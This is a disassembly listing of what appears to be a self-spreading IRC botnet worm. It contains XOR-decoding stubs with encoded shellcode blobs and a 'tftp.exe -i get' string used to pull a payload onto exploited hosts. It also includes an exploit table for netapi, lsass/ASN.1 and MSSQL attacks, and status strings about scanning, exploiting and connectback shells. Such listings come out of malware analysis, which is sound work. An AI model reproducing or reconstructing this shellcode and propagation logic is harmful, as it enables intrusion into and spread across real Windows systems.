aCapodilupo	db 'Capodilupo',0       ; DATA XREF: seg002:0043451Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: seg002:00434518o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: seg002:00434514o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: seg002:00434510o
aCanley		db 'Canley',0           ; DATA XREF: seg002:0043450Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: seg002:00434508o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: seg002:00434504o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: seg002:00434500o
		align 4
aCage		db 'Cage',0             ; DATA XREF: seg002:004344FCo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: seg002:004344F8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: seg002:004344F4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: seg002:004344F0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: seg002:004344ECo
aBurridge	db 'Burridge',0         ; DATA XREF: seg002:004344E8o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: seg002:004344E4o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: seg002:004344E0o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: seg002:004344DCo
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: seg002:004344D8o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: seg002:004344D4o
aBudding	db 'Budding',0          ; DATA XREF: seg002:004344D0o
aBuchan		db 'Buchan',0           ; DATA XREF: seg002:004344CCo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: seg002:004344C8o
aBrook		db 'Brook',0            ; DATA XREF: seg002:004344C4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: seg002:004344C0o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: seg002:004344BCo
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: seg002:004344B8o
aBridges	db 'Bridges',0          ; DATA XREF: seg002:004344B4o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: seg002:004344B0o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: seg002:004344A8o
					; seg002:004344ACo
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: seg002:004344A4o
aBrenan		db 'Brenan',0           ; DATA XREF: seg002:004344A0o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: seg002:0043449Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: seg002:00434498o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: seg002:00434494o
aBradac		db 'Bradac',0           ; DATA XREF: seg002:00434490o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: seg002:0043448Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: seg002:00434488o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: seg002:00434484o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: seg002:00434480o
aBoyes		db 'Boyes',0            ; DATA XREF: seg002:0043447Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: seg002:00434478o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: seg002:00434474o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: seg002:00434470o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: seg002:0043446Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: seg002:00434468o
aBoudin		db 'Boudin',0           ; DATA XREF: seg002:00434464o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: seg002:00434460o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: seg002:0043445Co
aBossi		db 'Bossi',0            ; DATA XREF: seg002:00434458o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: seg002:00434454o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: seg002:00434450o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: seg002:0043444Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: seg002:00434448o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: seg002:00434444o
		align 4
aBook_0		db 'Book',0             ; DATA XREF: seg002:00434440o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: seg002:0043443Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: seg002:00434438o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: seg002:00434434o
		align 10h
aBoner_0	db 'Boner',0            ; DATA XREF: seg002:00434430o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: seg002:0043442Co
aBollinger	db 'Bollinger',0        ; DATA XREF: seg002:00434428o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: seg002:00434424o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: seg002:00434420o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: seg002:0043441Co
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: seg002:00434418o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: seg002:00434414o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: seg002:00434410o
aBloch		db 'Bloch',0            ; DATA XREF: seg002:0043440Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: seg002:00434408o
aBliss		db 'Bliss',0            ; DATA XREF: seg002:00434404o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: seg002:00434400o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: seg002:004343FCo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: seg002:004343F8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: seg002:004343F4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: seg002:004343F0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: seg002:004343ECo
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: seg002:004343E8o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: seg002:004343E4o
aBinion		db 'Binion',0           ; DATA XREF: seg002:004343E0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: seg002:004343DCo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: seg002:004343D8o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: seg002:004343D4o
aBetti		db 'Betti',0            ; DATA XREF: seg002:004343D0o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: seg002:004343CCo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: seg002:004343C8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: seg002:004343C4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: seg002:004343C0o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: seg002:004343BCo
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: seg002:004343B8o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: seg002:004343B4o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: seg002:004343B0o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: seg002:004343ACo
aBellhouse	db 'Bellhouse',0        ; DATA XREF: seg002:004343A8o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: seg002:004343A4o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: seg002:004343A0o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: seg002:0043439Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: seg002:00434398o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: seg002:00434394o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: seg002:00434390o
aBedford	db 'Bedford',0          ; DATA XREF: seg002:0043438Co
aBeder		db 'Beder',0            ; DATA XREF: seg002:00434388o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: seg002:00434384o
aBean		db 'Bean',0             ; DATA XREF: seg002:00434380o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: seg002:0043437Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: seg002:00434378o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: seg002:00434374o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: seg002:00434370o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: seg002:0043436Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: seg002:00434368o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: seg002:00434364o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: seg002:00434360o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: seg002:0043435Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: seg002:00434358o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: seg002:00434354o
aBarry		db 'Barry',0            ; DATA XREF: seg002:00434350o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: seg002:0043434Co
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: seg002:00434348o
aBarneson	db 'Barneson',0         ; DATA XREF: seg002:00434344o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: seg002:00434340o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: seg002:0043433Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: seg002:00434338o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: seg002:00434334o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: seg002:00434330o
aBarabesi	db 'Barabesi',0         ; DATA XREF: seg002:0043432Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: seg002:00434328o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: seg002:00434324o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: seg002:00434320o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: seg002:0043431Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: seg002:00434318o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: seg002:00434314o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: seg002:00434310o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: seg002:0043430Co
aBaglivo	db 'Baglivo',0          ; DATA XREF: seg002:00434308o
aBady		db 'Bady',0             ; DATA XREF: seg002:00434304o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: seg002:00434300o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: seg002:004342FCo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: seg002:004342F8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: seg002:004342F4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: seg002:004342F0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: seg002:004342ECo
aAxworthy	db 'Axworthy',0         ; DATA XREF: seg002:004342E8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: seg002:004342E4o
aAurelius	db 'Aurelius',0         ; DATA XREF: seg002:004342E0o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: seg002:004342DCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: seg002:004342D8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: seg002:004342D4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: seg002:004342D0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: seg002:004342CCo
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: seg002:004342C8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: seg002:004342C4o
aArbia		db 'Arbia',0            ; DATA XREF: seg002:004342C0o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: seg002:004342BCo
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: seg002:004342B8o
aAnsley		db 'Ansley',0           ; DATA XREF: seg002:004342B4o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: seg002:004342B0o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: seg002:004342ACo
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: seg002:004342A8o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: seg002:004342A4o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: seg002:004342A0o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: seg002:0043429Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: seg002:00434298o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: seg002:00434294o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: seg002:00434290o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: seg002:0043428Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: seg002:00434288o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: seg002:00434284o
aAltavilla	db 'Altavilla',0        ; DATA XREF: seg002:00434280o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: seg002:0043427Co
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: seg002:00434278o
aAleks		db 'Aleks',0            ; DATA XREF: seg002:00434274o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: seg002:00434270o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: seg002:0043426Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: seg002:00434268o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: seg002:00434264o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: seg002:00434260o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: seg002:0043425Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: seg002:00434258o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: seg002:off_434254o
aAdams		db 'Adams',0            ; DATA XREF: seg002:00434250o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: seg002:0043424Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: seg002:off_434248o
		align 10h
aPc_0		db 'PC',0               ; DATA XREF: seg000:0040AD49o
		align 4
aS_3		db '%s|',0              ; DATA XREF: seg000:0040ADF4o
aS_4		db '[%s]|',0            ; DATA XREF: seg000:0040AEFEo
		align 10h
a???		db '???',0              ; DATA XREF: seg000:loc_40AEF5o
					; sub_41B2E4:loc_41B3A7o
a2k3		db '2K3',0              ; DATA XREF: seg000:0040AEEEo
a2k		db '2K',0               ; DATA XREF: seg000:0040AED0o
					; sub_41B2E4+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: seg000:0040AEB7o
					; sub_41B2E4+7Eo
		align 10h
a98		db '98',0               ; DATA XREF: seg000:0040AEA7o
					; sub_41B2E4+6Co
		align 4
aNt_0		db 'NT',0               ; DATA XREF: seg000:0040AE97o
					; sub_41B2E4+5Ao
		align 4
a95		db '95',0               ; DATA XREF: seg000:0040AE89o
					; sub_41B2E4+46o
		align 4
aD_2		db '[%d]',0             ; DATA XREF: sub_40AF44+1Bo
		align 4
		jmp	short loc_437ED8
; ---------------------------------------------------------------------------


loc_437ED6:				; CODE XREF: seg002:loc_437ED8p
		jmp	short loc_437EDD
; ---------------------------------------------------------------------------


loc_437ED8:				; CODE XREF: seg002:00437ED4j
		call	loc_437ED6


loc_437EDD:				; CODE XREF: seg002:loc_437ED6j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_437EE4:				; CODE XREF: seg002:00437EE9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_437EE4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_437EFA:				; CODE XREF: seg002:00437EFFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_437EFA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_437F9C
		jnz	short loc_437F88
		retn
; ---------------------------------------------------------------------------


loc_437F88:				; CODE XREF: seg002:00437F85j
					; seg002:00437F95j
		call	loc_437F8E
; ---------------------------------------------------------------------------
		align 2


loc_437F8E:				; CODE XREF: seg002:loc_437F88j
		push	0
		call	sub_437F9C
		jz	loc_437F88
		retn

; =============== S U B	R O U T	I N E =======================================



sub_437F9C	proc near		; CODE XREF: seg002:00437F80p
					; seg002:00437F90p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_437F9C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B29C+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B29C+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C034+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B6EF+30o
					; seg000:0040DA49o
		align 4
		dd 5 dup(0)
dword_438048	dd 0B97h						; seg000:00403897o ...
off_43804C	dd offset sub_40EB90	; DATA XREF: sub_40C034+1E6r
dword_438050	dd 0							; seg000:0040D3ABw ...
dword_438054	dd 1		dword_438058	dd 1		dword_43805C	dd 0		aNet1		db 'net1',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E13Eh, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40E13Eh, 0
		dd 2 dup(1), 0
aNet2		db 'net2',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E62Bh, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40E62Bh, 0
		dd 2 dup(1), 0
aNet3		db 'net3',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40EA50h, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 33h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40EA50h, 0
		dd 2 dup(1), 0
aMass_0		db 'mass',0
		align 4
		dd 616C0000h, 3331646Eh, 39h, 5	dup(0)
		dd 8Bh,	40D7AFh, 0
		dd 2 dup(1), 0
aMssql		db 'mssql',0
		align 4
		dd 736D0000h, 6C7173h, 6 dup(0)
		dd 599h, 40D825h, 0
		dd 2 dup(1), 0
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 4
		dd 4 dup(0)
		dd 50h,	40D1E5h, 0
		dd 2 dup(1), 0
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D1E5h, 0
		dd 2 dup(1), 0
aMsass		db 'msass',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D1E5h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aMssql_0	db 'mssql',0
		align 4
		db 2 dup(0)
byte_43836A	db 1			; DATA XREF: seg000:loc_4037E7r
					; seg000:004037F1o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_438396

; =============== S U B	R O U T	I N E =======================================



sub_438386	proc near		; CODE XREF: sub_438386:loc_438396p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43838E:				; CODE XREF: sub_438386+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43838E
		jmp	short loc_43839B
; ---------------------------------------------------------------------------


loc_438396:				; CODE XREF: seg002:00438384j
		call	sub_438386


loc_43839B:				; CODE XREF: sub_438386+Ej
		jo	short near ptr dword_438324+12h
		cwde
		cdq
		cdq
		retn
sub_438386	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B562+85o
		align 4
dword_438518	dd 25370320h, 203A0373h, 2C6425hunk_438524	db  2Dh	; -		; DATA XREF: sub_40B562+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_438544	db  2Dh	; -		; DATA XREF: sub_40B630+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43858C	db  2Dh	; -		; DATA XREF: sub_40B69B+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B6EF+7Eo
dword_4385C8	dd 25370320h, 28200373h, 73253403h, 2C2903hdword_4385D8	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B6EF+14o
		dd 7473694Ch, 3Ah
unk_4385F4	db  2Dh	; -		; DATA XREF: seg000:0040B923o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_438628	db  2Dh	; -		; DATA XREF: seg000:0040B835o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_438658	db  2Dh	; -		; DATA XREF: sub_40B966+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_40B966+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_438694	db  2Dh	; -		; DATA XREF: sub_40B9DD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_31	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4386C8	db  2Dh	; -		; DATA XREF: sub_40B9DD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_32	db '- Failed to start server, error: <%d>.',0
unk_438700	db  2Dh	; -		; DATA XREF: sub_40B9DD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_438730	db  2Dh	; -		; DATA XREF: sub_40B9DD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_33	db 'Failed to start server, error: <%d>.',0
		align 4
unk_438764	db  2Dh	; -		; DATA XREF: sub_40B9DD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_438798	db  2Dh	; -		; DATA XREF: sub_40B9DD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4387CC	db  2Dh	; -		; DATA XREF: sub_40C034+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_4387F4	db  2Dh	; -		; DATA XREF: sub_40C034+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43882C	db  2Dh	; -		; DATA XREF: seg000:0040C416o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_43886C	db  2Dh	; -		; DATA XREF: seg000:0040C3BBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4388A4	db  2Dh	; -		; DATA XREF: seg000:0040C34Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4388D8	db  2Dh	; -		; DATA XREF: seg000:0040C2CFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_43890C	db  2Dh	; -		; DATA XREF: sub_40C4A7+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_438934	db  2Dh	; -		; DATA XREF: sub_40C574+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_40C665+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_438988	db  2Dh	; -		; DATA XREF: sub_40C665+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
